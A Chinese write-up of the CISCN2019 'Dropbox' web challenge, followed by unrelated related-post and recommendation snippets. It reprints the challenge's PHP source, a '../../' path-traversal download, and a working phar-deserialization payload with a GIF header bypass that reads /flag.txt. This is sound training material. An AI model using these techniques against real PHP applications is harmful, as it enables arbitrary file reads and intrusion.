一、【CISCN2019 华北赛区 Day1 Web1】Dropbox 1

  • 看题

    首先是需要注册登录,然后进入是一个文件上传和下载的页面。尝试php一句话木马和burp抓包修改后缀的木马都失败,看来是过滤了。这时候对下载文件进行抓包:

    尝试修改一下filename能不能抓到Index.php的包,这里尝试时候发现需要进入上上级目录,即../../index.php,同理查看一下download.php和delete.php。

  • 审计

    index.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
    }
    ?> <!DOCTYPE html>
    <html> <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>网盘管理</title> <head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
    </head> <body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
    <li class="breadcrumb-item active">管理面板</li>
    <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
    <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
    </nav>
    <input type="file" id="fileInput" class="hidden">
    <div class="top" id="toast-container"></div> <?php
    include "class.php"; $a = new FileList($_SESSION['sandbox']);
    $a->Name();
    $a->Size();
    ?>

    login.php:

    <?php
    session_start();
    if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
    }
    ?> <!doctype html> <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <title>登录</title> <!-- Bootstrap core CSS -->
    <link href="static/css/bootstrap.min.css" rel="stylesheet"> <style>
    .bd-placeholder-img {
    font-size: 1.125rem;
    text-anchor: middle;
    } @media (min-width: 768px) {
    .bd-placeholder-img-lg {
    font-size: 3.5rem;
    }
    }
    </style>
    <!-- Custom styles for this template -->
    <link href="static/css/std.css" rel="stylesheet">
    </head> <body class="text-center">
    <form class="form-signin" action="login.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">登录</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
    <p class="text-muted">&copy; 2018-2019</p>
    </form>
    <div class="top" id="toast-container"></div>
    </body> <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    </html> <?php
    include "class.php"; if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
    } if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
    $_SESSION['login'] = true;
    $_SESSION['username'] = htmlentities($username);
    $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
    if (!is_dir($sandbox)) {
    mkdir($sandbox);
    }
    $_SESSION['sandbox'] = $sandbox;
    echo("<script>window.location.href='index.php';</script>");
    die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
    }
    ?>

    主要实现注册和登录的功能,为用户创建一个用户名+'sftUahRiTz'的文件夹。文件夹名称存储在$session['sandbox']中。

    download.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
    } if (!isset($_POST['filename'])) {
    die();
    } include "class.php";
    ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']);
    $file = new File();
    $filename = (string) $_POST['filename'];
    if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
    } else {
    echo "File not exist";
    }
    ?>

    ini_set("open_basedir", getcwd() . ":/etc:/tmp"): ini_set用于设置php.ini的值,其中'open_basedir'参数用于限定php脚本访问的目录,getcwd()函数是获取当前工作目录,总的来说就是限定脚本只能访问当前目录和/etc、/tmp目录。

    chdir($_SESSION['sandbox']):用于改变当前的工作目录为用户文件夹。

    然后下面对flag字段进行了过滤。

    delete.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
    } if (!isset($_POST['filename'])) {
    die();
    } include "class.php"; chdir($_SESSION['sandbox']);
    $file = new File();
    $filename = (string) $_POST['filename'];
    if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
    } else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
    }
    ?>

    文件包含的class.php:

    <?php
    error_reporting(0);
    $dbaddr = "127.0.0.1";
    $dbuser = "root";
    $dbpass = "root";
    $dbname = "dropbox";
    $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User {
    public $db; public function __construct() {
    global $db;
    $this->db = $db;
    } public function user_exist($username) {
    $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows;
    if ($count === 0) {
    return false;
    }
    return true;
    } public function add_user($username, $password) {
    if ($this->user_exist($username)) {
    return false;
    }
    $password = sha1($password . "SiAchGHmFx");
    $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
    $stmt->bind_param("ss", $username, $password);
    $stmt->execute();
    return true;
    } public function verify_user($username, $password) {
    if (!$this->user_exist($username)) {
    return false;
    }
    $password = sha1($password . "SiAchGHmFx");
    $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $stmt->bind_result($expect);
    $stmt->fetch();
    if (isset($expect) && $expect === $password) {
    return true;
    }
    return false;
    } public function __destruct() {
    $this->db->close();
    }
    } class FileList {
    private $files;
    private $results;
    private $funcs; public function __construct($path) {
    $this->files = array();
    $this->results = array();
    $this->funcs = array();
    $filenames = scandir($path); $key = array_search(".", $filenames);
    unset($filenames[$key]);
    $key = array_search("..", $filenames);
    unset($filenames[$key]); foreach ($filenames as $filename) {
    $file = new File();
    $file->open($path . $filename);
    array_push($this->files, $file);
    $this->results[$file->name()] = array();
    }
    } public function __call($func, $args) {
    array_push($this->funcs, $func);
    foreach ($this->files as $file) {
    $this->results[$file->name()][$func] = $file->$func();
    }
    } public function __destruct() {
    $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
    $table .= '<thead><tr>';
    foreach ($this->funcs as $func) {
    $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
    }
    $table .= '<th scope="col" class="text-center">Opt</th>';
    $table .= '</thead><tbody>';
    foreach ($this->results as $filename => $result) {
    $table .= '<tr>';
    foreach ($result as $func => $value) {
    $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
    }
    $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
    $table .= '</tr>';
    }
    echo $table;
    }
    } class File {
    public $filename; public function open($filename) {
    $this->filename = $filename;
    if (file_exists($filename) && !is_dir($filename)) {
    return true;
    } else {
    return false;
    }
    } public function name() {
    return basename($this->filename);
    } public function size() {
    $size = filesize($this->filename);
    $units = array(' B', ' KB', ' MB', ' GB', ' TB');
    for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
    return round($size, 2).$units[$i];
    } public function detele() {
    unlink($this->filename);
    } public function close() {
    return file_get_contents($this->filename);
    }
    }
    ?>

    很明显应该关注class.php,可以看到其中调用了一些魔术方法,其中__call函数最特殊。

    __call函数是定义在php类中的魔术方法,其执行必须要两个参数,当调用该类中不存在的方法时,__call函数就会被执行。__call($name,$args)。其中name是调用的类中不存在方法的名称,arg是不存在方法中的参数。

    在class.php的__call函数中,主要将调用的方法存储到funcs数组中,然后遍历files,让files中的每个元素都执行func函数,返回的结果存储在result数组中。

    同时,可以看到File类中的close方法存在file_get_contents函数,我们可以利用这个函数对flag进行访问(因为download.php中对flag字段进行了过滤,说明flag应该就存储在flag.txt、flag.php等文件中。)

    怎么调用close函数呢,在User类的析构函数中存在close方法。

    思路:首先是创建User类中的db变量,将该变量是一个Filelist对象,同时在Filelist类中,将file属性的文件名设置为flag.php。这样在db变量析构的时候就能够访问flag.php。

    但是怎样执行这个函数呢,因为反序列化的时候魔术函数会被自动执行,这里没有unserilize()函数;因此可以使用phar协议。

    • PHAR

      是一个流包装协议,用于将php文件压缩,其中存储了被压缩文件的权限和属性信息,并且以序列化的形式存储用户的meta-data。文件格式为<?php xxx;__HALT_COMPILER();?>,必须以__HALT_COMPILER()来结尾。因此本题只要生成一个phar格式的文件进行上传,然后使用phar://协议对其进行解析,就会执行我们的payload。

      注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。并且一般的php.ini的readonly前面有分号,代表禁用,要删掉。

    • payload

      <?php
      class User{
      public $db;
      }
      class FileList{
      private $files= array();
      public function __construct() {//如果直接使用$files=new File()会失败,貌似必须用__construct方法
      $file = new File();
      array_push($this->files, $file);
      }
      }
      class File{
      public $filename='/flag.txt';
      } //创建phar文件常见姿势
      $phar=new Phar('phar.phar');
      $phar->startBuffering();
      $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头,绕过文件检测(因为php的识别是根据文件头的stub)
      $phar->addFromString('test.txt','test'); //添加要压缩的文件
      $obj= new User();
      $obj->db=new FileList();
      $phar->setMetadata($obj); //将自定义的metadata存入manifest
      $phar->stopBuffering();
      ?>
    • 利用

      运行payload会在当前目录下生成phar.phar文件,可以看到里面是序列化数据和gif文件头:

      下面更改后缀为phar.jpg进行上传,因为download.php中对访问目录进行了限制,所以使用delete.php:

    总结

    • Phar利用方式,可以在不使用serilize函数的情况下进行反序列化利用
    • 多抓包尝试利用已有的函数进行下载
    • 疑问:
      • 为什么不能payload直接使用FileList方法直接调用close函数
      • FileList中的construct问题

【CISCN2019 华北赛区 Day1 Web1】Dropbox 1的更多相关文章

  1. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  2. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  3. [CISCN2019 华北赛区 Day1 Web1]Dropbox

    0x01 前言 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大.但在不久前的Black Hat上,安全研究员Sam ...

  4. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

  5. 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

    太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...

  6. [CISCN2019 华北赛区 Day1 Web1]Dropbox-phar文件能够上传到服务器端实现任意文件读取

    0x00知识点 phar是什么: 我们先来了解一下流包装 大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://.例如常见的 include('php ...

  7. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  8. 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...

  9. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  10. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

随机推荐

  1. Visual Studio2019如何添加引用

    ​ 同一解决方案中添加引用 比如我们想在Test项目中添加Queue项目的引用 1.鼠标右击引用-->添加引用 2."引用管理器"-->项目-->解决方案--&g ...

  2. ThinkPHP6.0 链式SQL语句

    ThinkPHP6.0 链式SQL语句 查询单个数据 $user = Db::query('select * from `user`'); $user=Db::table('user')->wh ...

  3. 国产开源流批统一的数据同步工具Chunjun入门实战

    @ 目录 概述 定义 特性 部署 安装 版本对应关系 通用配置详解 整体配置 Content 配置 Setting 配置 Local提交 Standalone提交 Json方式使用 SQL方式使用 M ...

  4. 使用部分写时复制提升Lakehouse的 ACID Upserts性能

    使用部分写时复制提升Lakehouse的 ACID Upserts性能 译自:Fast Copy-On-Write within Apache Parquet for Data Lakehouse A ...

  5. langchain:Prompt在手,天下我有

    目录 简介 好的prompt 什么是prompt template 在langchain中创建prompt template Chat特有的prompt template 总结 简介 prompts是 ...

  6. 即构SDK9月迭代:外部采集、音频频谱、房间附加消息等多个模块功能上新

    即构SDK9月迭代来了,本月SDK在外部采集.音频频谱.房间附加消息等多个功能模块均有新功能上线,并且还针对K歌音乐场景下,优化了变调功能效果.以下是详细的迭代内容: LiveRoom   新增 1. ...

  7. .NET Core中关于阿拉伯语环境下的坑:Input string was not in a correct format.

    结论 .NET Core项目(.NET Framework没出现)在阿拉伯语(即语言名称是ar-开头的语言)环境下,将负数字符串转成数字,即int.Parse("-1")或Conv ...

  8. Mysql高级4-索引的使用规则

    一.最左前缀法则 如果索引了多列(联合索引),要遵守最左前缀法则.最左前缀法则指的是查询从索引的最左列开始,并且不跳过索引中的列,如果跳跃某一列,索引将部分失效(后面的字段索引失效) 示例1:acco ...

  9. 通过python,将excel中的数据写入二维列表

    需求:读取Excel表中数据,每行数据放在一个列表中,再把所有列表都存入到一个列表中,形成二维列表. 实现方法:导入可在Python处理Excel表格数据的模块. excel表: 方法一:xlwing ...

  10. 为什么NoSQL不支持事务

    为什么NoSQL不支持事务 1. 背景 看书<Neo4j权威指南>的时候,发现个问题:日常的NoSQL都不支持事务(ACID). 2. 问题 事务对数据的存储过程是有利的,既然事情是有利的 ...